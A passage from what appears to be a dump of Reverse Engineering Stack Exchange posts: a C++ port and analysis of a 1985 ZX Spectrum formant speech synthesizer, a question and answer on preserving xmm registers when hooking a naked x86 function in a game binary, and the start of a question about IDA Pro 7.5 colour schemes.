0xff,0x08,0x79,0x00,0x02,0xff,0xe1,0xc7,0x1f,0xe0,0x03,0xff,0xd0,0x01,0xff,\n    0xf0,0x03,0x7f,0x01,0xfa,0x5f,0xc0,0x07,0xf8,0x0f,0xc0,0xff,0x00,0x42,0xaa,\n    0xa5,0x55,0x5a,0xaa,0xaa,0x5a,0xa5,0x5a,0xaa,0x55,0x55,0xaa,0xaa,0xa5,0x55,\n    0xaa,0x5a,0xaa,0xa5,0x55,0xaa,0xaa,0xa5,0x55,0xaa,0xaa,0x55,0xa5,0xa5,0xaa,\n    0xa5,0xb7,0x66,0x6c,0xd8,0xf9,0xb3,0x6c,0xad,0x37,0x37,0x66,0xfc,0x9b,0x87,\n    0xf6,0xc0,0xd3,0xb6,0x60,0xf7,0xf7,0x3e,0x4d,0xfb,0xfe,0x5d,0xb7,0xde,0x46,\n    0xf6,0x96,0xb4,0x4f,0xaa,0xa9,0x55,0xaa,0xaa,0xa5,0x69,0x59,0x9a,0x6a,0x95,\n    0x55,0x95,0x55,0x6a,0xa5,0x55,0xa9,0x4d,0x66,0x6a,0x92,0xec,0xa5,0x55,0xd2,\n    0x96,0x55,0xa2,0xba,0xcd,0x00,0x66,0x99,0xcc,0x67,0x31,0x8e,0x66,0x39,0xa6,\n    0x6b,0x19,0x66,0x59,0xc6,0x71,0x09,0x67,0x19,0xcb,0x01,0x71,0xcc,0x73,0x19,\n    0x99,0xcc,0xc6,0x67,0x19,0x9a,0xc6,\n    };\nconst static BYTE tab_char3[5]={ 0x00,0x2e,0x5a,0x5e,0xfe };\n//---------------------------------------------------------------------------\nvoid say_text(char *txt)\n    {\n    WORD hl;\n    BYTE a,b,c;\n    for (b=0xBB,hl=0;;hl++)     // process txt\n        {\n        a=b;                    // a,c char from last iteration\n        c=b;\n        if (!a) break;          // end of txt\n        b=txt[hl];              // b actual char\n        if ((b&gt;='a')&amp;&amp;(b&lt;='z')) b=b+'A'-'a'; // must be uppercase\n        a=c;\n        if ((a&gt;='A')&amp;&amp;(a&lt;='Z'))\n            {\n            // handle diacritic\n            if (a!='C'){ a=b; if (a!='\\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}\n            else{\n                a=b;\n                if (a=='H'){ a+=0x1A; b=0xBB; }\n                 else{ if (a!='\\'') a=c; else{ a=c; a+=0x1A; b=0xBB; }}\n                }\n            // syntetize sound\n            say_char(a);\n            continue;\n            }\n        if (a==',')say_wait(t_comma);\n        if (a==' ')say_wait(t_space);\n        }\n    }\n//----------------------------------------------------------------------\nvoid say_wait(WORD ws)\n    {\n    for (;ws;ws--) sound_out(_sound_on);\n    }\n//----------------------------------------------------------------------\nvoid say_char(char chr) // chr =  &lt; `A` , `Z`+26 &gt;\n    {\n    WORD hl,hl0;\n    BYTE a,b,c,cy,cy0,ws;\n    hl=tab_char0[chr-'A'];\n    for (;;)\n        {\n        c =tab_char1[hl  ]&amp;0x0F;\n        c|=tab_char1[hl+1]&amp;0x80;\n        for (;;)\n            {\n            a=tab_char1[hl];\n            a=(a&gt;&gt;5)&amp;7;\n            cy=a&amp;1;\n            hl0=hl;\n            if (a!=0)\n                {\n                b=tab_char3[a];\n                hl=hl0;\n                a=tab_char1[hl+1];\n                hl0=hl;\n                cy0=(a&gt;&gt;7)&amp;1;\n                a=((a&lt;&lt;1)&amp;254)|cy;\n                cy=cy0;\n                hl=a;\n                a=0x80;\n                for (;;)\n                    {\n                    _sound_on=(a&amp;tab_char2[hl]);\n                    for (ws=t_speed;ws;ws--) sound_out(_sound_on);\n                    b--;\n                    if (!b) break;\n                    cy=a&amp;1;     \n                    a=((a&gt;&gt;1)&amp;127)|(cy&lt;&lt;7);\n                    if (!cy) continue;\n                    hl++;\n                    }\n                }\n            a^=a;\n            say_wait(t_pause);\n            c--;\n            a=c&amp;0x0F;\n            hl=hl0; \n            if (a==0) break;\n            }\n        cy0=(c&gt;&gt;7)&amp;1;\n        a=((c&lt;&lt;1)&amp;254)|cy;\n        cy=cy0;\n        if (cy) return;\n        hl+=2;\n        }\n    }\n//---------------------------------------------------------------------------\n#endif\n//---------------------------------------------------------------------------\n</code></pre>\n<p>This works perfectly however I would like to understand how the sound is synthetized. I can not make any sense of it... is it some sort of compression of samples or uses <a href=\"https://swphonetics.com/praat/tutorials/what-are-formants/\" rel=\"nofollow noreferrer\">formant filter</a> to synthetize sound or combines them or its something else?</p>\n<p>So I want to dissect the <code>say_char</code> function to make sense/meaning of the <code>tab_char?[]</code> LUT tables.</p>\n<h3>[Edit2] thanks to Edward new more C/C++ like version</h3>\n<p>I rearranged the tables and added a lot of comment info to be more didactical and possible to tweak:</p>\n\n<pre><code>//---------------------------------------------------------------------------\n//---  ZX Hlasovy program voicesoft 1985  -----------------------------------\n//--- ported to C++ by Spektre ver: 2.001 -----------------------------------\n//---------------------------------------------------------------------------\n#ifndef _speech_h\n#define _speech_h\n//---------------------------------------------------------------------------\n// API:\nvoid sound_out(bool on);    // you need to code this function (should add a sample to sound output)\nvoid say_text(char *txt);   // say null terminated text, &quot;a'c'&quot; -&gt; &quot;\u00e1\u010d&quot;\n//---------------------------------------------------------------------------\n// internals:\nvoid say_char(char chr);    // internal function for single character (do not use it !!!)\nvoid say_wait(WORD ws);     // internal wait (do not use it !!!)\n//---------------------------------------------------------------------------\n// vars:\nbool _sound_on=false;       // global state of the reproductor/sound output\n//---------------------------------------------------------------------------\n// config: (recomputed for 44100 Hz samplerate)\nconst static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)\nconst static WORD t_pause=183;      // [samples] pause between chars\nconst static WORD t_space=2925;     // [samples] pause ` `\nconst static WORD t_comma=5851;     // [samples] pause `,`\n//---------------------------------------------------------------------------\n// point to RLE encoded character sound (RLE_ix)\nconst static BYTE tab_char[52]=\n    {\n//   A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z\n     0, 1, 3, 5, 7, 8, 9,11,13,14,17,19,21,23,25,26,28,33,36,37,39,40,40,43,13,46,\n//   A' B' C' D' E' F' G' H' I' J' K' L' M' N' O' P' Q' R' S' T' U' V' W' X' Y' Z'\n    50,51,56,58,61,62,97,66,67,97,97,97,68,70,73,74,97,79,83,84,87,88,97,97,67,94,\n    };\n// RLE encoded character sounds\nconst static WORD tab_RLE[98]=\n    {\n    //  15 14 13 12 11 10  9  8  7  6  5  4  3  2  1  0\n    // end -----num------ ------------PCM_ix-----------\n                                                // ix char\n    0x9804,                                     //  0 A\n    0x103D,0x8473,                              //  1 B\n    0x203C,0x84AB,                              //  3 C\n    0x103D,0x8524,                              //  5 D\n    0x980B,                                     //  7 E\n    0x892B,                                     //  8 F\n    0x143D,0x8444,                              //  9 G\n    0x0481,0x9035,                              // 11 H\n    0x9812,                                     // 13 I,Y\n    0x0C96,0x089D,0x88A4,                       // 14 J\n    0x203C,0x8444,                              // 17 K\n    0x0C5E,0x8481,                              // 19 L\n    0x0481,0x9865,                              // 21 M\n    0x0481,0x986C,                              // 23 N\n    0x9819,                                     // 25 O\n    0x203C,0x8473,                              // 26 P\n    0x203C,0x0444,0x1081,0x0888,0x888F,         // 28 Q\n    0x0827,0x0C3C,0x847A,                       // 33 R\n    0x88AB,                                     // 36 S\n    0x203C,0x8524,                              // 37 T\n    0x9820,                                     // 39 U\n    0x1081,0x0888,0x888F,                       // 40 V,W\n    0x203C,0x0451,0x88AB,                       // 43 X\n    0x0881,0x08CC,0x08D3,0x88DA,                // 46 Z\n    0xBC04,                                     // 50 A'\n    0x103D,0x0473,0x0C96,0x089D,0x88A4,         // 51 B' *\n    0x203C,0x84E1,                              // 56 C'\n    0x0C3D,0x054C,0x882E,                       // 58 D'\n    0xB80B,                                     // 61 E'\n    0x092B,0x0C96,0x089D,0x88A4,                // 62 F' *\n    0x8959,                                     // 66 CH,H'\n    0xB812,                                     // 67 I',Y'\n    0x0481,0x1865,                              // 68 M' overlap with N' *\n                  0x0481,0x1465,0x882E,         // 70 N' overlap with M'\n    0xB819,                                     // 73 O'\n    0x203C,0x0473,0x0C96,0x089D,0x88A4,         // 74 P' *\n    0x0C3C,0x0924,0x0C3C,0x8517,                // 79 R'\n    0x88E1,                                     // 83 S'\n    0x203C,0x054C,0x882E,                       // 84 T'\n    0xB820,                                     // 87 U'\n    0x1081,0x0888,0x088F,0x0C96,0x089D,0x88A4,  // 88 V',W' *\n    0x0902,0x0909,0x8910,                       // 94 Z'\n    0xA83C,                                     // 97 G',J',K',L',Q',X',W' (no sound)\n    // missing: \u013d/\u0139,\u0158/\u0154,\u00da/\u02c7U,\u00f4,\u00e4,\u00e9/\u011b\n    // accent?: B',F',M',P',V'\n    // nosound: G',J',K',L',Q',X',W'\n    };\n// formant sounds sampled as 1bit PCM\nconst static BYTE tab_PCM[]=\n    {\n// bits,1bit PCM samples                            //  ix,sample in binary\n     24,0x1A,0x99,0xE1,                             //   0,000110101001100111100001\n     46,0xC3,0xE1,0xC7,0x8F,0x0F,0xF8,              //   4,110000111110000111000111100011110000111111111000\n     46,0x03,0x0F,0x07,0xC1,0xE3,0xFF,              //  11,000000110000111100000111110000011110001111111111\n     46,0x40,0x17,0xFF,0x00,0x03,0xF8,              //  18,010000000001011111111111000000000000001111111000\n     46,0x7C,0xC1,0xF1,0xF8,0x03,0xFE,              //  25,011111001100000111110001111110000000001111111110\n     46,0x00,0x7F,0xFC,0x00,0x03,0xF8,              //  32,000000000111111111111100000000000000001111111000\n     46,0x0F,0x09,0xF1,0xFE,0x03,0xEF,              //  39,000011110000100111110001111111100000001111101111\n     46,0x40,0x17,0xFF,0x00,0x03,0xE1,              //  46,010000000001011111111111000000000000001111100001\n     46,0x5C,0x35,0xC5,0xAA,0x35,0x00,              //  53,010111000011010111000101101010100011010100000000\n      0,                                            //  60,\n     46,0x00,0x00,0x00,0x00,0x00,0x3E,              //  61,000000000000000000000000000000000000000000111110\n     90,0x3E,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,    //  68,0011111010001110001110000111001111001111111110000111100011000011\n        0xDF,0x1C,0xF1,0xC7,                        //     11011111000111001111000111000111\n     94,0x8E,0x38,0x73,0xCF,0xF8,0x78,0xC3,0xDF,    //  81,1000111000111000011100111100111111111000011110001100001111011111\n        0x1C,0xF1,0xC7,0xFE,                        //     00011100111100011100011111111110\n     46,0x03,0xC0,0xFF,0x00,0x00,0xFF,              //  94,000000111100000011111111000000000000000011111111\n     46,0xF8,0x00,0x7F,0xF8,0x03,0xFF,              // 101,111110000000000001111111111110000000001111111111\n     46,0xF0,0x01,0xFF,0xE0,0x03,0xAA,              // 108,111100000000000111111111111000000000001110101010\n     46,0xCA,0x5A,0xD5,0x21,0x3D,0xFE,              // 115,110010100101101011010101001000010011110111111110\n     46,0x1F,0xF8,0x00,0x00,0x1F,0xFF,              // 122,000111111111100000000000000000000001111111111111\n     46,0xFC,0x20,0x00,0x00,0x03,0xFF,              // 129,111111000010000000000000000000000000001111111111\n     46,0xFF,0x08,0x79,0x00,0x02,0xFF,              // 136,111111110000100001111001000000000000001011111111\n     46,0xE1,0xC7,0x1F,0xE0,0x03,0xFF,              // 143,111000011100011100011111111000000000001111111111\n     46,0xD0,0x01,0xFF,0xF0,0x03,0x7F,              // 150,110100000000000111111111111100000000001101111111\n     46,0x01,0xFA,0x5F,0xC0,0x07,0xF8,              // 157,000000011111101001011111110000000000011111111000\n     46,0x0F,0xC0,0xFF,0x00,0x42,0xAA,              // 164,000011111100000011111111000000000100001010101010\n    254,0xAA,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,0xA5,    // 171,1010101010100101010101010101101010101010101010100101101010100101\n        0x5A,0xAA,0x55,0x55,0xAA,0xAA,0xA5,0x55,    //     0101101010101010010101010101010110101010101010101010010101010101\n        0xAA,0x5A,0xAA,0xA5,0x55,0xAA,0xAA,0xA5,    //     1010101001011010101010101010010101010101101010101010101010100101\n        0x55,0xAA,0xAA,0x55,0xA5,0xA5,0xAA,0xA5,    //     0101010110101010101010100101010110100101101001011010101010100101\n     46,0xA5,0x55,0x5A,0xAA,0xAA,0x5A,              // 204,101001010101010101011010101010101010101001011010\n     46,0x5A,0xAA,0xAA,0x5A,0xA5,0x5A,              // 211,010110101010101010101010010110101010010101011010\n     46,0xAA,0x5A,0xA5,0x5A,0xAA,0x55,              // 218,101010100101101010100101010110101010101001010101\n    254,0xB7,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,0xAD,    // 225,1011011101100110011011001101100011111001101100110110110010101101\n        0x37,0x37,0x66,0xFC,0x9B,0x87,0xF6,0xC0,    //     0011011100110111011001101111110010011011100001111111011011000000\n        0xD3,0xB6,0x60,0xF7,0xF7,0x3E,0x4D,0xFB,    //     1101001110110110011000001111011111110111001111100100110111111011\n        0xFE,0x5D,0xB7,0xDE,0x46,0xF6,0x96,0xB4,    //     1111111001011101101101111101111001000110111101101001011010110100\n     46,0x66,0x6C,0xD8,0xF9,0xB3,0x6C,              // 258,011001100110110011011000111110011011001101101100\n     46,0xD8,0xF9,0xB3,0x6C,0xAD,0x37,              // 265,110110001111100110110011011011001010110100110111\n     46,0xB3,0x6C,0xAD,0x37,0x37,0x66,              // 272,101100110110110010101101001101110011011101100110\n     94,0x3E,0x4D,0xFB,0xFE,0x5D,0xB7,0xDE,0x46,    // 279,0011111001001101111110111111111001011101101101111101111001000110\n        0xF6,0x96,0xB4,0x4F,                        //     11110110100101101011010001001111\n     46,0xDE,0x46,0xF6,0x96,0xB4,0x4F,              // 292,110111100100011011110110100101101011010001001111\n    254,0x4F,0xAA,0xA9,0x55,0xAA,0xAA,0xA5,0x69,    // 299,0100111110101010101010010101010110101010101010101010010101101001\n        0x59,0x9A,0x6A,0x95,0x55,0x95,0x55,0x6A,    //     0101100110011010011010101001010101010101100101010101010101101010\n        0xA5,0x55,0xA9,0x4D,0x66,0x6A,0x92,0xEC,    //     1010010101010101101010010100110101100110011010101001001011101100\n        0xA5,0x55,0xD2,0x96,0x55,0xA2,0xBA,0xCD,    //     1010010101010101110100101001011001010101101000101011101011001101\n     94,0x6A,0x92,0xEC,0xA5,0x55,0xD2,0x96,0x55,    // 332,0110101010010010111011001010010101010101110100101001011001010101\n        0xA2,0xBA,0xCD,0x00,                        //     10100010101110101100110100000000\n    254,0x00,0x66,0x99,0xCC,0x67,0x31,0x8E,0x66,    // 345,0000000001100110100110011100110001100111001100011000111001100110\n        0x39,0xA6,0x6B,0x19,0x66,0x59,0xC6,0x71,    //     0011100110100110011010110001100101100110010110011100011001110001\n        0x09,0x67,0x19,0xCB,0x01,0x71,0xCC,0x73,    //     0000100101100111000110011100101100000001011100011100110001110011\n        0x19,0x99,0xCC,0xC6,0x67,0x19,0x9A,0xC6,    //     0001100110011001110011001100011001100111000110011001101011000110\n    };\n//---------------------------------------------------------------------------\nvoid say_text(char *txt)\n    {\n    int i;\n    char a0,a1;\n    for (a1=0xBB,i=0;a1;i++)                            // process txt\n        {\n        a0=a1; a1=txt[i];                               // a0,a1 are last,actual char\n        if ((a1&gt;='a')&amp;&amp;(a1&lt;='z')) a1+='A'-'a';          // a..z -&gt; A..Z\n        if ((a0=='C')&amp;&amp;(a1=='H')){ a0='H'; a1='\\''; }   // CH -&gt; H'\n        if ((a0&gt;='A')&amp;&amp;(a0&lt;='Z'))\n            {\n            if (a1=='\\''){ a0+=0x1A; a1=0xBB; }         // handle diacritic\n            say_char(a0);                               // syntetize sound\n            continue;\n            }\n        if (a0==',') say_wait(t_comma);\n        if (a0==' ') say_wait(t_space);\n        }\n    }\n//----------------------------------------------------------------------\nvoid say_wait(WORD ws)\n    {\n    for (;ws;ws--) sound_out(_sound_on);\n    }\n//----------------------------------------------------------------------\nvoid say_char(char chr) // chr =  &lt; `A` , `Z`+26 &gt;\n    {\n    WORD a;\n    BYTE ws,pcm;\n    int i,j,e,num,pcm_ix,bits;\n    i=tab_char[chr-'A'];\n    for (e=1;e;i++)\n        {\n        a=tab_RLE[i];\n        e     =!(a     &amp;0x8000);\n        num   = (a&gt;&gt;10)&amp;0x001F;\n        pcm_ix=  a     &amp;0x03FF;\n        for (;num;num--)\n            {\n            for (j=pcm_ix,bits=tab_PCM[j],j++;bits;j++)\n             for (pcm=tab_PCM[j],a=0x80;(bits)&amp;&amp;(a);a&gt;&gt;=1,bits--)\n              for (_sound_on=(a&amp;pcm),ws=t_speed;ws;ws--)\n               sound_out(_sound_on);\n            say_wait(t_pause);\n            }\n        }\n    }\n//---------------------------------------------------------------------------\n#endif\n//---------------------------------------------------------------------------\n</code></pre>\n",
        "Title": "Understand/Reverse simple (but good quality) TTS engine",
        "Tags": "|c++|audio|",
        "Answer": "<p>I can't really understand the speech from the <a href=\"https://www.youtube.com/watch?v=xgy5WaNhQSM\" rel=\"nofollow noreferrer\">Hlasov\u00fd program</a> at all, but perhaps it is suitable for your needs.</p>\n<p>I don't have any specific knowledge of this particular software, but based on the time of release and the size, it's almost undoubtedly a formant-based system.  The typical software (on the 8-bit computers of that vintage) used a text-to-phoneme and then phoneme-to-formant conversion.</p>\n<p>A somewhat larger but more intelligible system from that era was &quot;S.A.M.&quot; or &quot;Software Automated Mouth&quot; that someone has now <a href=\"https://discordier.github.io/sam/\" rel=\"nofollow noreferrer\">ported to Javascript</a>.  Follow the links from there to read more, including reverse-engineered C code.</p>\n<p>The author of that software from the early 1980s, Mark Barton, was actually <a href=\"https://ataripodcast.libsyn.com/antic-interview-385-software-automatic-mouth-mark-barton\" rel=\"nofollow noreferrer\">recently interviewed</a> and offers some insights into that software.</p>\n<h1>This program</h1>\n<p>Here's a further analysis of your reverse-engineered software.  I'll tell you how I did it as well as showing the result.  First, I started looking at the inner-most loop and successively rewrote it, testing the result each time to make sure it produced identical results at each step.  Then I essentially repeated that for larger and larger portions of the function.  I also renamed and added variables to make them better reflect how the software is actually using them.  While the Z80 is limited in the registers it can use (and what those registers can do) we do not have that same limitation in C++, so the code is rewritten for clarity.</p>\n<h2>say_char()</h2>\n<pre><code>void say_char(char chr)         // chr =  &lt; `A` , `Z`+26 &gt;\n{\n    const Chain *chain = &amp;chain_sequence[chain_start[chr - 'A']];\n    for (BYTE c=0; (c &amp; 0x80) == 0; ++chain) {\n        // count is in low four bits of c, end flag is high bit\n        for (c = chain-&gt;copies_and_end(); c &amp; 0xf; --c) {\n            BYTE a = chain-&gt;numbits_lookup();\n            if (a != 0) {\n                BYTE bitcount = num_bits[a];\n                BYTE bitloc = chain-&gt;start_index();\n\n                // bitcount is the number of bits to emit\n                // starting with the MSB of sound_bits[bitloc]\n                for ( ;bitcount; ++bitloc) {\n                    for (BYTE mask = 0x80; mask; mask &gt;&gt;= 1) {\n                        _sound_on = (mask &amp; sound_bits[bitloc]);\n                        for (BYTE ws = t_speed; ws; ws--)\n                            sound_out(_sound_on);\n                        if (--bitcount == 0)\n                            break;\n                    }\n                }\n            }\n            say_wait(t_pause);\n        }\n    }\n}\n</code></pre>\n<p>Here's the explanation.  First, I renamed the structures:</p>\n<pre><code>tab_char0 --&gt; chain_start\ntab_char1 --&gt; chain_sequence\ntab_char2 --&gt; sound_bits\ntab_char3 --&gt; num_bits\n</code></pre>\n<p>Then I modified the <code>chain_sequence</code> to use a two-byte C++ structure instead.  The definition is this:</p>\n<pre><code>struct Chain {\n        // bits: 7    6    5    4    3    2    1    0\n    BYTE a;  //  m2   m1   c0   -    l3   l2   l1   l0\n    BYTE b;  // end | c7   c6   c5   c4   c3   c2   c1\n\n    bool end() const { return b &amp; 0x80; }\n    BYTE copies() const { return a &amp; 0x0F; }\n    BYTE start_index() const { return ((b &amp; 0x7f) &lt;&lt; 1) | ((a &amp; 0x20) &gt;&gt; 5); }\n    BYTE copies_and_end() const {\n        return (a &amp; 0x0F) | (b &amp; 0x80);\n    }\n    BYTE numbits_lookup() const {\n        return (a &gt;&gt; 5) &amp; 7;\n    }\n    friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; out, const Chain&amp; ch) {\n        return out \n            &lt;&lt; &quot;copies = &quot; &lt;&lt; unsigned(ch.copies())\n            &lt;&lt; &quot;, start_index = &quot; &lt;&lt; unsigned(ch.start_index())\n            &lt;&lt; &quot;, numbits_lookup = &quot; &lt;&lt; unsigned(ch.numbits_lookup())\n            &lt;&lt; &quot;, end = &quot; &lt;&lt; std::boolalpha &lt;&lt; bool(ch.b &amp; 0x80)\n            &lt;&lt; &quot;, useless = &quot; &lt;&lt; bool(ch.a &amp; 0x10);\n    }\n};\n</code></pre>\n<p>Due to this change, I had to modify the <code>chain_start</code> table to halve each of the entries.</p>\n<h2>How it works</h2>\n<p>For each letter, the code starts with a lookup in the <code>chain_start</code> table.  That is an index into the <code>chain_sequence</code> table.  If we select the first three entries in that table, they look like this:</p>\n<pre><code>const static Chain chain_sequence[98] = {\n    /* A = 0 */ { 0x36, 0x81, },\n    /* B = 1 */ { 0x34, 0x19, }, { 0x31, 0xab, },\n    /* C = 3 */ { 0x18, 0x19, }, { 0x91, 0xc3, },\n</code></pre>\n<p>Each of these is a chain sequence, with the last item identified with the high bit of the second byte set.  For the letter 'A', it translates to this:</p>\n<pre><code>copies = 6, start_index = 3, numbits_lookup = 1, end = true \n</code></pre>\n<p>What this then means is that the code creates six copies of a bit pattern.  Each copy ends with <code>t_pause</code> zero bits.  For the beginning bits of each copy, the code uses the <code>numbits_lookup</code> value to look up the desired length in the 5-byte <code>num_bits</code>.  So for 'A', the lookup is 1 and that corresponds to 0x2e = 46, but the way the code is written, that actually corresponds to one fewer bits actually emitted, or 45 in this case.</p>\n<p>Next it uses the <code>start_index</code> as the index into <code>sound_bits</code>.  Each byte in the table is then clocked out starting with the most significant bit of each byte.  So in this case, index 3 and a length of 45 bits corresponds to these entries in the table:</p>\n<pre><code>0xc3 0xe1 0xc7 0x8f, 0x0f, 0xf8\n\n1100 0011  1110 0001  1100 0111  1000 1111  0000 1111  1111 10xx\n</code></pre>\n<p>The last two bits, marked xx are unused.  So the effect of this is that the output corresponds to six copies of this:</p>\n<pre><code>1100001111100001110001111000111100001111111110\n... followed by `t_pause` 0 bits\n</code></pre>\n<h2>Commentary</h2>\n<h3>Translation bug</h3>\n<p>There is a bug in the code.  If you look closely, one of the bits in what I'm calling <code>Chain</code> is not used (bit 4 of the first byte), but one of the other bits is used twice (bit 5 of the first byte).</p>\n<p>Indeed, I disassembled the original Z80 code and found this:</p>\n<pre><code>add hl,de       ; cy = 0 (can't overflow)\nld b,(hl)       ; b = bitlen[a];\npop hl          ;\ninc hl          ;\nld a,(hl)       ; a = chain_sequence[hl + 1]\ndec hl          ;\npush hl         ;\nrla             ; the carry shifted in is always zero\nld de,sound_bits    ; point to bit table\nld l,a          ;\nld h,000h       ;\nadd hl,de       ; hl = sound_bits[a]\nld a,080h       ; start with mask = 0x80\n</code></pre>\n<p>Your code seems to imply that the carry bit is set when calling what I've labeled <code>start_index()</code> and it is, but closer to the relevant <code>rla</code> instruction that creates the <code>sound_bits</code> index byte, the carry bit is guaranteed to be zero.  The add instruction, as noted above, cannot overflow and so clears the carry bit.  None of the instructions from there to the <code>rla</code> instruction alter the carry bit, so it is zero at that point.</p>\n<h3>Other observations</h3>\n<p>Also the first three bytes of the <code>sound_bits</code> array appear to be unused.</p>\n<p>There doesn't appear to be a lot of overlapping data, but there could be.  The chain sequence for one of the letters is re-used.  I haven't worked on decoding the actual diacritics used here, but if the second 26 letters are designated A' to Z', the one for M' starts at index 68 and includes 5 chain segments.  The one for N' uses the last three of these segments.</p>\n<p>Also for short and long versions of the same vowel, such as A and A' (A with \u010d\u00e1rka signifies a long vowel in Czech), the current code repeats the chain token, but with just a longer sequence.  It might be possible to combine them and use a single bit flag to indicate a vowel.</p>\n<p>On a 16-bit machine, this could be made much more efficient by restructuring the data.  It could also be modified to be event driven on an embedded system.  For example, this could be interrupt-driven by a timer interrupt.  Or one could create a queue of samples and use DMA transfer to clock them out to a speaker.</p>\n<h2>Physics</h2>\n<p>What this is doing is creating the lowest frequency via a sequence of bits (minimum of 45) followed by <code>t_pause</code> zeroes.  The higher frequencies are created within the leading bit patterns in each copy.  As expected, this a formant-based synthesizer with relatively low resolution.</p>\n"
    },
    {
        "Id": "26547",
        "CreationDate": "2020-12-15T12:10:33.533",
        "Body": "<p>I need to hook this function:</p>\n<pre><code>.text:005589CB sub_5589CB      proc near               ; CODE XREF: AddHealth(int,long)+1A\u2191j\n.text:005589CB                                         ; sub_5328D8+98E\u2191p ...\n.text:005589CB\n.text:005589CB var_4           = dword ptr -4\n.text:005589CB\n.text:005589CB                 xorps   xmm0, xmm0\n.text:005589CE                 ucomiss xmm1, xmm0\n.text:005589D1                 lahf\n.text:005589D2                 test    ah, 44h\n.text:005589D5                 jnp     short locret_558A1D\n.text:005589D7                 movss   xmm2, dword ptr [ecx+564h]\n.text:005589DF                 comiss  xmm2, xmm0\n.text:005589E2                 jbe     short locret_558A1D\n.text:005589E4                 cmp     ecx, dword_89A288\n.text:005589EA                 jnz     short loc_5589FF\n.text:005589EC                 comiss  xmm1, xmm0\n.text:005589EF                 ja      short loc_5589FF\n.text:005589F1                 mov     eax, dword_8CF880\n.text:005589F6                 cmp     byte ptr [eax+4BBh], 0\n.text:005589FD                 jnz     short locret_558A1D\n.text:005589FF\n.text:005589FF loc_5589FF:                             ; CODE XREF: sub_5589CB+1F\u2191j\n.text:005589FF                                         ; sub_5589CB+24\u2191j\n.text:005589FF                 movss   xmm0, dword ptr [ecx+560h]\n.text:00558A07                 mov     eax, [ecx]\n.text:00558A09                 addss   xmm0, xmm1\n.text:00558A0D                 push    ecx\n.text:00558A0E                 minss   xmm0, xmm2\n.text:00558A12                 movss   [esp+4+var_4], xmm0\n.text:00558A17                 call    dword ptr [eax+144h]\n.text:00558A1D\n.text:00558A1D locret_558A1D:                          ; CODE XREF: sub_5589CB+A\u2191j\n.text:00558A1D                                         ; sub_5589CB+17\u2191j ...\n.text:00558A1D                 retn\n.text:00558A1D sub_5589CB      endp\n.text:00558A1D\n.text:00558A1E ; ---------------------------------------------------------------------------\n.text:00558A1E                 mov     eax, [ecx+420h]\n.text:00558A24                 retn\n</code></pre>\n<p>here IDA pseudocode:</p>\n<pre><code>void *__usercall sub_5589CB@&lt;eax &gt; (float *a1@&lt;ecx &gt; , char a2@&lt;efl &gt; , float a3@&lt;xmm1 &gt; )\n</code></pre>\n<p>In the past I have hooked without problems other naked functions with a code like this:</p>\n<pre><code>__declspec(naked)  void *  HookFunction(float *a1 , char a2, float  a3)\n{\n    __asm\n    {\n\n        pushad // backup general purpose registers\n    }\n\n    MyExternalFunction();\n\n    __asm\n    {\n        popad // restore general purpose registers\n            \n        jmp AddressOfHookFunction\n    }\n\n}\n</code></pre>\n<p>but this time there are some CPU registers like &quot;xmm1&quot; that are not cover with pushad/popad and the result is that the function lose the values of the registry if I call &quot;MyExternalFunction&quot;.</p>\n<p>There is a way to backup/restore efl and xmm1 registers ?</p>\n<p>Thanks !</p>\n",
        "Title": "Hook naked function with CPU registers",
        "Tags": "|c++|function-hooking|assembly|",
        "Answer": "<p>There is no instruction for pushing xmm registers, but you can do as follow:</p>\n<pre><code>__asm\n{\n    sub     esp, 16\n    movdqu  [esp], xmm0\n    sub     esp, 16\n    movdqu  [esp], xmm1\n\n    pushad\n}\n\nMyExternalFunction();\n\n__asm\n{\n    popad\n\n    movdqu  xmm1, [esp]\n    add     esp, 16\n    movdqu  xmm0, [esp]\n    add     esp, 16\n\n    jmp AddressOfHookFunction\n}\n</code></pre>\n"
    },
    {
        "Id": "26556",
        "CreationDate": "2020-12-16T07:16:38.070",
        "Body": "<p>For the past few years I've been using an ida color scheme which I created, that was very easy on my eyes with the previous versions of <strong>IDA Pro</strong> (<strong>&lt;7.0</strong>). However, after start using version <strong>7.5</strong> I cannot see any option to import colors from <code>.clr</code> files or export the current ones.</p>\n<p><strong>IDA Pro 7.0</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/FnkG2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FnkG2.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>IDA Pro 7.5</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/SArl3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SArl3.png\" alt=\"enter image description here\" /></a></p>\n<p>It seems to be a lot of font options are missing from the new version as well.</p>\n<p><strong>IDA Pro 7.0 Fonts</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/DAqMR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DAqMR.png\" alt=\"enter image description here\" /></a></p>\n<p><strong>IDA Pro 7.5 Fonts</strong>:</p>\n<p><a href=\"https://i.stack.imgur.com/pdSk6.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pdSk6.png\" alt=\"enter image description here\" /></a></p>\n<p>I don't have a lot of experience with IDA gui. I'd appreciate any help.</p>\n<p><strong>EDIT:</strong></p>\n<p>I fixed the font problem by installing the desired font. However I still cannot figure out how to import <code>.clr</code> files</p>\n",
        "Title": "IDA pro 7.5 - No previous fonts / color imports",
        "Tags": "|ida|disassemblers|",
